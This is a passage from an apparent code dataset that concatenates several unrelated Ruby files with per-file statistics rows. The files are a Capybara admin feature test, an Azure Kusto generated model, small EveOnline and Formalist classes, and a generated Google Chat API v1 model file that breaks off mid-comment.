config.include(IntegrationSandboxHelpers, type: :integration)
config.extend(IntegrationSandboxBeforeHelpers, type: :integration)
end
| 30.967391 | 127 | 0.690067 |
5d000aaf78150c6d1906d28a8c93a8c4b7c5a94e | 2,637 | require "rails_helper"
include Warden::Test::Helpers
feature "Admin view application", js: true do
scenario "As an admin I can only see the application in read only mode" do
application = create_application
login_admin(create(:admin))
visit admin_form_answer_path(application)
expect(page).to have_content("View application")
expect(page).to_not have_content("Edit application")
application_window = window_opened_by { click_link("View application") }
within_window application_window do
expect(page).to have_current_path edit_form_path(application)
expect(find_field("form[company_name]", disabled: true).value).to eq("Bitzesty")
end
end
scenario "As an admin I can edit the application if superadmin" do
Settings.current.deadlines.innovation_submission_start.update(trigger_at: 1.day.ago)
application = create_application
login_admin(create(:admin, superadmin: true))
visit admin_form_answer_path(application)
expect(page).to have_content("View application")
expect(page).to have_content("Edit application")
application_window = window_opened_by { click_link("Edit application") }
within_window application_window do
expect(page).to have_current_path edit_form_path(application)
expect(find_field("form[company_name]").value).to eq("Bitzesty")
end
end
scenario "As a superadmin I can edit the application even when submission is due date" do
Settings.current.deadlines.innovation_submission_start.update(trigger_at: 1.day.ago)
Settings.current_submission_deadline.update(trigger_at: 1.day.ago)
application = create_application
login_admin(create(:admin, superadmin: true))
visit admin_form_answer_path(application)
expect(page).to have_content("View application")
expect(page).to have_content("Edit application")
application_window = window_opened_by { click_link("Edit application") }
within_window application_window do
expect(page).to have_current_path edit_form_path(application)
expect(find_field("form[company_name]").value).to eq("Bitzesty")
end
end
end
def create_application
user = create :user, :completed_profile, first_name: "Test User john"
form_answer = create :form_answer, :innovation,
user: user,
urn: "QA0001/19T",
document: { company_name: "Bitzesty" }
create :basic_eligibility, form_answer: form_answer, account: user.account
create :innovation_eligibility, form_answer: form_answer, account: user.account
form_answer
end
| 38.217391 | 91 | 0.729238 |
1d13e102a411b26e24861ff4b081c7040914fe20 | 1,137 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Kusto::Mgmt::V2018_09_07_preview
module Models
#
# Model object.
#
#
class TrustedExternalTenant
include MsRestAzure
# @return [String] GUID representing an external tenant.
attr_accessor :value
#
# Mapper for TrustedExternalTenant class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'TrustedExternalTenant',
type: {
name: 'Composite',
class_name: 'TrustedExternalTenant',
model_properties: {
value: {
client_side_validation: true,
required: false,
serialized_name: 'value',
type: {
name: 'String'
}
}
}
}
}
end
end
end
end
| 23.6875 | 70 | 0.549692 |
acebba2c161e57a372bcb5e692f346afed6e3133 | 123 | # frozen_string_literal: true
module EveOnline
module Exceptions
class InternalServerError < Base
end
end
end
| 13.666667 | 36 | 0.756098 |
b9630afd7dd7ad4d17669c22c5d60bad5179c9ff | 355 | require "formalist/element"
require "formalist/elements"
module Formalist
class Elements
class CheckBox < Field
attribute :question_text
def initialize(*)
super
# Ensure value is a boolean (also: default to false for nil values)
@input = !!@input
end
end
register :check_box, CheckBox
end
end
| 17.75 | 75 | 0.650704 |
d526f4ed8b1494e8e8aeb7a16e6089e09c099021 | 122,119 | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'date'
require 'google/apis/core/base_service'
require 'google/apis/core/json_representation'
require 'google/apis/core/hashable'
require 'google/apis/errors'
module Google
module Apis
module ChatV1
# List of string parameters to supply when the action method is invoked. For
# example, consider three snooze buttons: snooze now, snooze 1 day, snooze next
# week. You might use action method = snooze(), passing the snooze type and
# snooze time in the list of string parameters.
class ActionParameter
include Google::Apis::Core::Hashable
# The name of the parameter for the action script.
# Corresponds to the JSON property `key`
# @return [String]
attr_accessor :key
# The value of the parameter.
# Corresponds to the JSON property `value`
# @return [String]
attr_accessor :value
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@key = args[:key] if args.key?(:key)
@value = args[:value] if args.key?(:value)
end
end
# Parameters that a bot can use to configure how it's response is posted.
class ActionResponse
include Google::Apis::Core::Hashable
# Contains dialog if present as well as the ActionStatus for the request sent
# from user.
# Corresponds to the JSON property `dialogAction`
# @return [Google::Apis::ChatV1::DialogAction]
attr_accessor :dialog_action
# The type of bot response.
# Corresponds to the JSON property `type`
# @return [String]
attr_accessor :type
# URL for users to auth or config. (Only for REQUEST_CONFIG response types.)
# Corresponds to the JSON property `url`
# @return [String]
attr_accessor :url
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@dialog_action = args[:dialog_action] if args.key?(:dialog_action)
@type = args[:type] if args.key?(:type)
@url = args[:url] if args.key?(:url)
end
end
# ActionStatus represents status of a request from the bot developer's side. In
# specific, for each request a bot gets, the bot developer will set both fields
# below in relation to what the response status and message related to status
# should be.
class ActionStatus
include Google::Apis::Core::Hashable
# The status code.
# Corresponds to the JSON property `statusCode`
# @return [String]
attr_accessor :status_code
# This message will be the corresponding string to the above status_code. If
# unset, an appropriate generic message based on the status_code will be shown
# to the user. If this field is set then the message will be surfaced to the
# user for both successes and errors.
# Corresponds to the JSON property `userFacingMessage`
# @return [String]
attr_accessor :user_facing_message
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@status_code = args[:status_code] if args.key?(:status_code)
@user_facing_message = args[:user_facing_message] if args.key?(:user_facing_message)
end
end
# Annotations associated with the plain-text body of the message. Example plain-
# text message body: ``` Hello @FooBot how are you!" ``` The corresponding
# annotations metadata: ``` "annotations":[` "type":"USER_MENTION", "startIndex":
# 6, "length":7, "userMention": ` "user": ` "name":"users/107946847022116401880",
# "displayName":"FooBot", "avatarUrl":"https://goo.gl/aeDtrS", "type":"BOT" `, "
# type":"MENTION" ` `] ```
class Annotation
include Google::Apis::Core::Hashable
# Length of the substring in the plain-text message body this annotation
# corresponds to.
# Corresponds to the JSON property `length`
# @return [Fixnum]
attr_accessor :length
# Annotation metadata for slash commands (/).
# Corresponds to the JSON property `slashCommand`
# @return [Google::Apis::ChatV1::SlashCommandMetadata]
attr_accessor :slash_command
# Start index (0-based, inclusive) in the plain-text message body this
# annotation corresponds to.
# Corresponds to the JSON property `startIndex`
# @return [Fixnum]
attr_accessor :start_index
# The type of this annotation.
# Corresponds to the JSON property `type`
# @return [String]
attr_accessor :type
# Annotation metadata for user mentions (@).
# Corresponds to the JSON property `userMention`
# @return [Google::Apis::ChatV1::UserMentionMetadata]
attr_accessor :user_mention
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@length = args[:length] if args.key?(:length)
@slash_command = args[:slash_command] if args.key?(:slash_command)
@start_index = args[:start_index] if args.key?(:start_index)
@type = args[:type] if args.key?(:type)
@user_mention = args[:user_mention] if args.key?(:user_mention)
end
end
# An attachment in Google Chat.
class Attachment
include Google::Apis::Core::Hashable
# A reference to the data of an attachment.
# Corresponds to the JSON property `attachmentDataRef`
# @return [Google::Apis::ChatV1::AttachmentDataRef]
attr_accessor :attachment_data_ref
# The original file name for the content, not the full path.
# Corresponds to the JSON property `contentName`
# @return [String]
attr_accessor :content_name
# The content type (MIME type) of the file.
# Corresponds to the JSON property `contentType`
# @return [String]
attr_accessor :content_type
# Output only. The download URL which should be used to allow a human user to
# download the attachment. Bots should not use this URL to download attachment
# content.
# Corresponds to the JSON property `downloadUri`
# @return [String]
attr_accessor :download_uri
# A reference to the data of a drive attachment.
# Corresponds to the JSON property `driveDataRef`
# @return [Google::Apis::ChatV1::DriveDataRef]
attr_accessor :drive_data_ref
# Resource name of the attachment, in the form "spaces/*/messages/*/attachments/*
# ".
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# The source of the attachment.
# Corresponds to the JSON property `source`
# @return [String]
attr_accessor :source
# Output only. The thumbnail URL which should be used to preview the attachment
# to a human user. Bots should not use this URL to download attachment content.
# Corresponds to the JSON property `thumbnailUri`
# @return [String]
attr_accessor :thumbnail_uri
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@attachment_data_ref = args[:attachment_data_ref] if args.key?(:attachment_data_ref)
@content_name = args[:content_name] if args.key?(:content_name)
@content_type = args[:content_type] if args.key?(:content_type)
@download_uri = args[:download_uri] if args.key?(:download_uri)
@drive_data_ref = args[:drive_data_ref] if args.key?(:drive_data_ref)
@name = args[:name] if args.key?(:name)
@source = args[:source] if args.key?(:source)
@thumbnail_uri = args[:thumbnail_uri] if args.key?(:thumbnail_uri)
end
end
# A reference to the data of an attachment.
class AttachmentDataRef
include Google::Apis::Core::Hashable
# The resource name of the attachment data. This is used with the media API to
# download the attachment data.
# Corresponds to the JSON property `resourceName`
# @return [String]
attr_accessor :resource_name
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@resource_name = args[:resource_name] if args.key?(:resource_name)
end
end
# A button. Can be a text button or an image button.
class Button
include Google::Apis::Core::Hashable
# An image button with an onclick action.
# Corresponds to the JSON property `imageButton`
# @return [Google::Apis::ChatV1::ImageButton]
attr_accessor :image_button
# A button with text and onclick action.
# Corresponds to the JSON property `textButton`
# @return [Google::Apis::ChatV1::TextButton]
attr_accessor :text_button
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@image_button = args[:image_button] if args.key?(:image_button)
@text_button = args[:text_button] if args.key?(:text_button)
end
end
# A card is a UI element that can contain UI widgets such as texts, images.
class Card
include Google::Apis::Core::Hashable
# The actions of this card.
# Corresponds to the JSON property `cardActions`
# @return [Array<Google::Apis::ChatV1::CardAction>]
attr_accessor :card_actions
# The header of the card. A header usually contains a title and an image.
# Corresponds to the JSON property `header`
# @return [Google::Apis::ChatV1::CardHeader]
attr_accessor :header
# Name of the card.
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# Sections are separated by a line divider.
# Corresponds to the JSON property `sections`
# @return [Array<Google::Apis::ChatV1::Section>]
attr_accessor :sections
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@card_actions = args[:card_actions] if args.key?(:card_actions)
@header = args[:header] if args.key?(:header)
@name = args[:name] if args.key?(:name)
@sections = args[:sections] if args.key?(:sections)
end
end
# A card action is the action associated with the card. For an invoice card, a
# typical action would be: delete invoice, email invoice or open the invoice in
# browser.
class CardAction
include Google::Apis::Core::Hashable
# The label used to be displayed in the action menu item.
# Corresponds to the JSON property `actionLabel`
# @return [String]
attr_accessor :action_label
# An onclick action (e.g. open a link).
# Corresponds to the JSON property `onClick`
# @return [Google::Apis::ChatV1::OnClick]
attr_accessor :on_click
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@action_label = args[:action_label] if args.key?(:action_label)
@on_click = args[:on_click] if args.key?(:on_click)
end
end
#
class CardHeader
include Google::Apis::Core::Hashable
# The image's type (e.g. square border or circular border).
# Corresponds to the JSON property `imageStyle`
# @return [String]
attr_accessor :image_style
# The URL of the image in the card header.
# Corresponds to the JSON property `imageUrl`
# @return [String]
attr_accessor :image_url
# The subtitle of the card header.
# Corresponds to the JSON property `subtitle`
# @return [String]
attr_accessor :subtitle
# The title must be specified. The header has a fixed height: if both a title
# and subtitle is specified, each will take up 1 line. If only the title is
# specified, it will take up both lines.
# Corresponds to the JSON property `title`
# @return [String]
attr_accessor :title
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@image_style = args[:image_style] if args.key?(:image_style)
@image_url = args[:image_url] if args.key?(:image_url)
@subtitle = args[:subtitle] if args.key?(:subtitle)
@title = args[:title] if args.key?(:title)
end
end
# Represents a color in the RGBA color space. This representation is designed
# for simplicity of conversion to/from color representations in various
# languages over compactness. For example, the fields of this representation can
# be trivially provided to the constructor of `java.awt.Color` in Java; it can
# also be trivially provided to UIColor's `+colorWithRed:green:blue:alpha`
# method in iOS; and, with just a little work, it can be easily formatted into a
# CSS `rgba()` string in JavaScript. This reference page doesn't carry
# information about the absolute color space that should be used to interpret
# the RGB value (e.g. sRGB, Adobe RGB, DCI-P3, BT.2020, etc.). By default,
# applications should assume the sRGB color space. When color equality needs to
# be decided, implementations, unless documented otherwise, treat two colors as
# equal if all their red, green, blue, and alpha values each differ by at most
# 1e-5. Example (Java): import com.google.type.Color; // ... public static java.
# awt.Color fromProto(Color protocolor) ` float alpha = protocolor.hasAlpha() ?
# protocolor.getAlpha().getValue() : 1.0; return new java.awt.Color( protocolor.
# getRed(), protocolor.getGreen(), protocolor.getBlue(), alpha); ` public static
# Color toProto(java.awt.Color color) ` float red = (float) color.getRed();
# float green = (float) color.getGreen(); float blue = (float) color.getBlue();
# float denominator = 255.0; Color.Builder resultBuilder = Color .newBuilder() .
# setRed(red / denominator) .setGreen(green / denominator) .setBlue(blue /
# denominator); int alpha = color.getAlpha(); if (alpha != 255) ` result.
# setAlpha( FloatValue .newBuilder() .setValue(((float) alpha) / denominator) .
# build()); ` return resultBuilder.build(); ` // ... Example (iOS / Obj-C): // ..
# . static UIColor* fromProto(Color* protocolor) ` float red = [protocolor red];
# float green = [protocolor green]; float blue = [protocolor blue]; FloatValue*
# alpha_wrapper = [protocolor alpha]; float alpha = 1.0; if (alpha_wrapper !=
# nil) ` alpha = [alpha_wrapper value]; ` return [UIColor colorWithRed:red green:
# green blue:blue alpha:alpha]; ` static Color* toProto(UIColor* color) `
# CGFloat red, green, blue, alpha; if (![color getRed:&red green:&green blue:&
# blue alpha:&alpha]) ` return nil; ` Color* result = [[Color alloc] init]; [
# result setRed:red]; [result setGreen:green]; [result setBlue:blue]; if (alpha <
# = 0.9999) ` [result setAlpha:floatWrapperWithValue(alpha)]; ` [result
# autorelease]; return result; ` // ... Example (JavaScript): // ... var
# protoToCssColor = function(rgb_color) ` var redFrac = rgb_color.red || 0.0;
# var greenFrac = rgb_color.green || 0.0; var blueFrac = rgb_color.blue || 0.0;
# var red = Math.floor(redFrac * 255); var green = Math.floor(greenFrac * 255);
# var blue = Math.floor(blueFrac * 255); if (!('alpha' in rgb_color)) ` return
# rgbToCssColor(red, green, blue); ` var alphaFrac = rgb_color.alpha.value || 0.
# 0; var rgbParams = [red, green, blue].join(','); return ['rgba(', rgbParams, ',
# ', alphaFrac, ')'].join(''); `; var rgbToCssColor = function(red, green, blue)
# ` var rgbNumber = new Number((red << 16) | (green << 8) | blue); var hexString
# = rgbNumber.toString(16); var missingZeros = 6 - hexString.length; var
# resultBuilder = ['#']; for (var i = 0; i < missingZeros; i++) ` resultBuilder.
# push('0'); ` resultBuilder.push(hexString); return resultBuilder.join(''); `; /
# / ...
class Color
include Google::Apis::Core::Hashable
# The fraction of this color that should be applied to the pixel. That is, the
# final pixel color is defined by the equation: `pixel color = alpha * (this
# color) + (1.0 - alpha) * (background color)` This means that a value of 1.0
# corresponds to a solid color, whereas a value of 0.0 corresponds to a
# completely transparent color. This uses a wrapper message rather than a simple
# float scalar so that it is possible to distinguish between a default value and
# the value being unset. If omitted, this color object is rendered as a solid
# color (as if the alpha value had been explicitly given a value of 1.0).
# Corresponds to the JSON property `alpha`
# @return [Float]
attr_accessor :alpha
# The amount of blue in the color as a value in the interval [0, 1].
# Corresponds to the JSON property `blue`
# @return [Float]
attr_accessor :blue
# The amount of green in the color as a value in the interval [0, 1].
# Corresponds to the JSON property `green`
# @return [Float]
attr_accessor :green
# The amount of red in the color as a value in the interval [0, 1].
# Corresponds to the JSON property `red`
# @return [Float]
attr_accessor :red
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@alpha = args[:alpha] if args.key?(:alpha)
@blue = args[:blue] if args.key?(:blue)
@green = args[:green] if args.key?(:green)
@red = args[:red] if args.key?(:red)
end
end
# Next available ID = 8
class CommonEventObject
include Google::Apis::Core::Hashable
# The keys are the string IDs associated with the widget and the values are
# inputs with a widget in the card.
# Corresponds to the JSON property `formInputs`
# @return [Hash<String,Google::Apis::ChatV1::Inputs>]
attr_accessor :form_inputs
# The hostApp enum which indicates the app the add-on is invoked from
# Corresponds to the JSON property `hostApp`
# @return [String]
attr_accessor :host_app
# Name of the invoked function associated with the widget. This field is
# currently only set for chat.
# Corresponds to the JSON property `invokedFunction`
# @return [String]
attr_accessor :invoked_function
# Any additional parameters.
# Corresponds to the JSON property `parameters`
# @return [Hash<String,String>]
attr_accessor :parameters
# The platform enum which indicates the platform where the add-on is running.
# Corresponds to the JSON property `platform`
# @return [String]
attr_accessor :platform
# The timezone id and offset. The id is the tz database time zones such as "
# America/Toronto". The user timezone offset, in milliseconds, from Coordinated
# Universal Time (UTC).
# Corresponds to the JSON property `timeZone`
# @return [Google::Apis::ChatV1::TimeZone]
attr_accessor :time_zone
# The full locale.displayName in the format of [ISO 639 language code]-[ISO 3166
# country/region code] such as "en-US"
# Corresponds to the JSON property `userLocale`
# @return [String]
attr_accessor :user_locale
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@form_inputs = args[:form_inputs] if args.key?(:form_inputs)
@host_app = args[:host_app] if args.key?(:host_app)
@invoked_function = args[:invoked_function] if args.key?(:invoked_function)
@parameters = args[:parameters] if args.key?(:parameters)
@platform = args[:platform] if args.key?(:platform)
@time_zone = args[:time_zone] if args.key?(:time_zone)
@user_locale = args[:user_locale] if args.key?(:user_locale)
end
end
# Input Parameter for Date Picker widget.
class DateInput
include Google::Apis::Core::Hashable
#
# Corresponds to the JSON property `msSinceEpoch`
# @return [Fixnum]
attr_accessor :ms_since_epoch
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@ms_since_epoch = args[:ms_since_epoch] if args.key?(:ms_since_epoch)
end
end
# Input Parameter for Date and Time Picker widget.
class DateTimeInput
include Google::Apis::Core::Hashable
#
# Corresponds to the JSON property `hasDate`
# @return [Boolean]
attr_accessor :has_date
alias_method :has_date?, :has_date
#
# Corresponds to the JSON property `hasTime`
# @return [Boolean]
attr_accessor :has_time
alias_method :has_time?, :has_time
#
# Corresponds to the JSON property `msSinceEpoch`
# @return [Fixnum]
attr_accessor :ms_since_epoch
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@has_date = args[:has_date] if args.key?(:has_date)
@has_time = args[:has_time] if args.key?(:has_time)
@ms_since_epoch = args[:ms_since_epoch] if args.key?(:ms_since_epoch)
end
end
# Google Chat events.
class DeprecatedEvent
include Google::Apis::Core::Hashable
# A form action describes the behavior when the form is submitted. For example,
# an Apps Script can be invoked to handle the form.
# Corresponds to the JSON property `action`
# @return [Google::Apis::ChatV1::FormAction]
attr_accessor :action
# Next available ID = 8
# Corresponds to the JSON property `common`
# @return [Google::Apis::ChatV1::CommonEventObject]
attr_accessor :common
# The URL the bot should redirect the user to after they have completed an
# authorization or configuration flow outside of Google Chat. See the [
# Authorizing access to 3p services guide](/chat/how-tos/auth-3p) for more
# information.
# Corresponds to the JSON property `configCompleteRedirectUrl`
# @return [String]
attr_accessor :config_complete_redirect_url
# The type of dialog event we have received.
# Corresponds to the JSON property `dialogEventType`
# @return [String]
attr_accessor :dialog_event_type
# The timestamp indicating when the event occurred.
# Corresponds to the JSON property `eventTime`
# @return [String]
attr_accessor :event_time
# Whether or not this event is related to dialogs request, submit or cancel.
# This will be set to true when we want a request/submit/cancel event.
# Corresponds to the JSON property `isDialogEvent`
# @return [Boolean]
attr_accessor :is_dialog_event
alias_method :is_dialog_event?, :is_dialog_event
# A message in Google Chat.
# Corresponds to the JSON property `message`
# @return [Google::Apis::ChatV1::Message]
attr_accessor :message
# A space in Google Chat. Spaces are conversations between two or more users or
# 1:1 messages between a user and a Chat bot.
# Corresponds to the JSON property `space`
# @return [Google::Apis::ChatV1::Space]
attr_accessor :space
# The bot-defined key for the thread related to the event. See the thread_key
# field of the `spaces.message.create` request for more information.
# Corresponds to the JSON property `threadKey`
# @return [String]
attr_accessor :thread_key
# A secret value that bots can use to verify if a request is from Google. The
# token is randomly generated by Google, remains static, and can be obtained
# from the Google Chat API configuration page in the Cloud Console. Developers
# can revoke/regenerate it if needed from the same page.
# Corresponds to the JSON property `token`
# @return [String]
attr_accessor :token
# The type of the event.
# Corresponds to the JSON property `type`
# @return [String]
attr_accessor :type
# A user in Google Chat.
# Corresponds to the JSON property `user`
# @return [Google::Apis::ChatV1::User]
attr_accessor :user
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@action = args[:action] if args.key?(:action)
@common = args[:common] if args.key?(:common)
@config_complete_redirect_url = args[:config_complete_redirect_url] if args.key?(:config_complete_redirect_url)
@dialog_event_type = args[:dialog_event_type] if args.key?(:dialog_event_type)
@event_time = args[:event_time] if args.key?(:event_time)
@is_dialog_event = args[:is_dialog_event] if args.key?(:is_dialog_event)
@message = args[:message] if args.key?(:message)
@space = args[:space] if args.key?(:space)
@thread_key = args[:thread_key] if args.key?(:thread_key)
@token = args[:token] if args.key?(:token)
@type = args[:type] if args.key?(:type)
@user = args[:user] if args.key?(:user)
end
end
# Wrapper around the card body of the dialog.
class Dialog
include Google::Apis::Core::Hashable
# A card is a UI element that can contain UI widgets such as text and images.
# For more information, see Cards . For example, the following JSON creates a
# card that has a header with the name, position, icons, and link for a contact,
# followed by a section with contact information like email and phone number. ```
# ` "header": ` "title": "Heba Salam", "subtitle": "Software Engineer", "
# imageStyle": "ImageStyle.AVATAR", "imageUrl": "https://example.com/heba_salam.
# png", "imageAltText": "Avatar for Heba Salam" `, "sections" : [ ` "header": "
# Contact Info", "widgets": [ ` "decorated_text": ` "icon": ` "knownIcon": "
# EMAIL" `, "content": "[email protected]" ` `, ` "decoratedText": ` "icon":
# ` "knownIcon": "PERSON" `, "content": "Online" ` `, ` "decoratedText": ` "
# icon": ` "knownIcon": "PHONE" `, "content": "+1 (555) 555-1234" ` `, ` "
# buttons": [ ` "textButton": ` "text": "Share", `, "onClick": ` "openLink": ` "
# url": "https://example.com/share" ` ` `, ` "textButton": ` "text": "Edit", `, "
# onClick": ` "action": ` "function": "goToView", "parameters": [ ` "key": "
# viewType", "value": "EDIT" ` ], "loadIndicator": "LoadIndicator.SPINNER" ` ` `
# ] ` ], "collapsible": true, "uncollapsibleWidgetsCount": 3 ` ], "cardActions":
# [ ` "actionLabel": "Send Feedback", "onClick": ` "openLink": ` "url": "https://
# example.com/feedback" ` ` ` ], "name": "contact-card-K3wB6arF2H9L" ` ```
# Corresponds to the JSON property `body`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Card]
attr_accessor :body
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@body = args[:body] if args.key?(:body)
end
end
# Contains dialog if present as well as the ActionStatus for the request sent
# from user.
class DialogAction
include Google::Apis::Core::Hashable
# ActionStatus represents status of a request from the bot developer's side. In
# specific, for each request a bot gets, the bot developer will set both fields
# below in relation to what the response status and message related to status
# should be.
# Corresponds to the JSON property `actionStatus`
# @return [Google::Apis::ChatV1::ActionStatus]
attr_accessor :action_status
# Wrapper around the card body of the dialog.
# Corresponds to the JSON property `dialog`
# @return [Google::Apis::ChatV1::Dialog]
attr_accessor :dialog
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@action_status = args[:action_status] if args.key?(:action_status)
@dialog = args[:dialog] if args.key?(:dialog)
end
end
# A reference to the data of a drive attachment.
class DriveDataRef
include Google::Apis::Core::Hashable
# The id for the drive file, for use with the Drive API.
# Corresponds to the JSON property `driveFileId`
# @return [String]
attr_accessor :drive_file_id
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@drive_file_id = args[:drive_file_id] if args.key?(:drive_file_id)
end
end
# JSON payload of error messages. If the Cloud Logging API is enabled, these
# error messages are logged to [Google Cloud Logging](https://cloud.google.com/
# logging/docs).
class DynamiteIntegrationLogEntry
include Google::Apis::Core::Hashable
# The deployment that caused the error. For Chat bots built in Apps Script, this
# is the deployment ID defined by Apps Script.
# Corresponds to the JSON property `deployment`
# @return [String]
attr_accessor :deployment
# The unencrypted `callback_method` name that was running when the error was
# encountered.
# Corresponds to the JSON property `deploymentFunction`
# @return [String]
attr_accessor :deployment_function
# The `Status` type defines a logical error model that is suitable for different
# programming environments, including REST APIs and RPC APIs. It is used by [
# gRPC](https://github.com/grpc). Each `Status` message contains three pieces of
# data: error code, error message, and error details. You can find out more
# about this error model and how to work with it in the [API Design Guide](https:
# //cloud.google.com/apis/design/errors).
# Corresponds to the JSON property `error`
# @return [Google::Apis::ChatV1::Status]
attr_accessor :error
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@deployment = args[:deployment] if args.key?(:deployment)
@deployment_function = args[:deployment_function] if args.key?(:deployment_function)
@error = args[:error] if args.key?(:error)
end
end
# A generic empty message that you can re-use to avoid defining duplicated empty
# messages in your APIs. A typical example is to use it as the request or the
# response type of an API method. For instance: service Foo ` rpc Bar(google.
# protobuf.Empty) returns (google.protobuf.Empty); ` The JSON representation for
# `Empty` is empty JSON object ````.
class Empty
include Google::Apis::Core::Hashable
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
end
end
# A form action describes the behavior when the form is submitted. For example,
# an Apps Script can be invoked to handle the form.
class FormAction
include Google::Apis::Core::Hashable
# The method name is used to identify which part of the form triggered the form
# submission. This information is echoed back to the bot as part of the card
# click event. The same method name can be used for several elements that
# trigger a common behavior if desired.
# Corresponds to the JSON property `actionMethodName`
# @return [String]
attr_accessor :action_method_name
# List of action parameters.
# Corresponds to the JSON property `parameters`
# @return [Array<Google::Apis::ChatV1::ActionParameter>]
attr_accessor :parameters
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@action_method_name = args[:action_method_name] if args.key?(:action_method_name)
@parameters = args[:parameters] if args.key?(:parameters)
end
end
# An action that describes the behavior when the form is submitted. For example,
# an Apps Script can be invoked to handle the form.
class GoogleAppsCardV1Action
include Google::Apis::Core::Hashable
# Apps Script function to invoke when the containing element is clicked/
# activated.
# Corresponds to the JSON property `function`
# @return [String]
attr_accessor :function
#
# Corresponds to the JSON property `loadIndicator`
# @return [String]
attr_accessor :load_indicator
# List of action parameters.
# Corresponds to the JSON property `parameters`
# @return [Array<Google::Apis::ChatV1::GoogleAppsCardV1ActionParameter>]
attr_accessor :parameters
# Indicates whether form values persist after the action. The default value is `
# false`. If `true`, form values remain after the action is triggered. When
# using [LoadIndicator.NONE](workspace/add-ons/reference/rpc/google.apps.card.v1#
# loadindicator) for actions, `persist_values` = `true`is recommended, as it
# ensures that any changes made by the user after form or on change actions are
# sent to the server are not overwritten by the response. If `false`, the form
# values are cleared when the action is triggered. When `persist_values` is set
# to `false`, it is strongly recommended that the card use [LoadIndicator.
# SPINNER](workspace/add-ons/reference/rpc/google.apps.card.v1#loadindicator)
# for all actions, as this locks the UI to ensure no changes are made by the
# user while the action is being processed.
# Corresponds to the JSON property `persistValues`
# @return [Boolean]
attr_accessor :persist_values
alias_method :persist_values?, :persist_values
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@function = args[:function] if args.key?(:function)
@load_indicator = args[:load_indicator] if args.key?(:load_indicator)
@parameters = args[:parameters] if args.key?(:parameters)
@persist_values = args[:persist_values] if args.key?(:persist_values)
end
end
# List of string parameters to supply when the action method is invoked. For
# example, consider three snooze buttons: snooze now, snooze 1 day, snooze next
# week. You might use action method = snooze(), passing the snooze type and
# snooze time in the list of string parameters.
class GoogleAppsCardV1ActionParameter
include Google::Apis::Core::Hashable
# The name of the parameter for the action script.
# Corresponds to the JSON property `key`
# @return [String]
attr_accessor :key
# The value of the parameter.
# Corresponds to the JSON property `value`
# @return [String]
attr_accessor :value
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@key = args[:key] if args.key?(:key)
@value = args[:value] if args.key?(:value)
end
end
# Represents the complete border style applied to widgets.
class GoogleAppsCardV1BorderStyle
include Google::Apis::Core::Hashable
# The corner radius for the border.
# Corresponds to the JSON property `cornerRadius`
# @return [Fixnum]
attr_accessor :corner_radius
# Represents a color in the RGBA color space. This representation is designed
# for simplicity of conversion to/from color representations in various
# languages over compactness. For example, the fields of this representation can
# be trivially provided to the constructor of `java.awt.Color` in Java; it can
# also be trivially provided to UIColor's `+colorWithRed:green:blue:alpha`
# method in iOS; and, with just a little work, it can be easily formatted into a
# CSS `rgba()` string in JavaScript. This reference page doesn't carry
# information about the absolute color space that should be used to interpret
# the RGB value (e.g. sRGB, Adobe RGB, DCI-P3, BT.2020, etc.). By default,
# applications should assume the sRGB color space. When color equality needs to
# be decided, implementations, unless documented otherwise, treat two colors as
# equal if all their red, green, blue, and alpha values each differ by at most
# 1e-5. Example (Java): import com.google.type.Color; // ... public static java.
# awt.Color fromProto(Color protocolor) ` float alpha = protocolor.hasAlpha() ?
# protocolor.getAlpha().getValue() : 1.0; return new java.awt.Color( protocolor.
# getRed(), protocolor.getGreen(), protocolor.getBlue(), alpha); ` public static
# Color toProto(java.awt.Color color) ` float red = (float) color.getRed();
# float green = (float) color.getGreen(); float blue = (float) color.getBlue();
# float denominator = 255.0; Color.Builder resultBuilder = Color .newBuilder() .
# setRed(red / denominator) .setGreen(green / denominator) .setBlue(blue /
# denominator); int alpha = color.getAlpha(); if (alpha != 255) ` result.
# setAlpha( FloatValue .newBuilder() .setValue(((float) alpha) / denominator) .
# build()); ` return resultBuilder.build(); ` // ... Example (iOS / Obj-C): // ..
# . static UIColor* fromProto(Color* protocolor) ` float red = [protocolor red];
# float green = [protocolor green]; float blue = [protocolor blue]; FloatValue*
# alpha_wrapper = [protocolor alpha]; float alpha = 1.0; if (alpha_wrapper !=
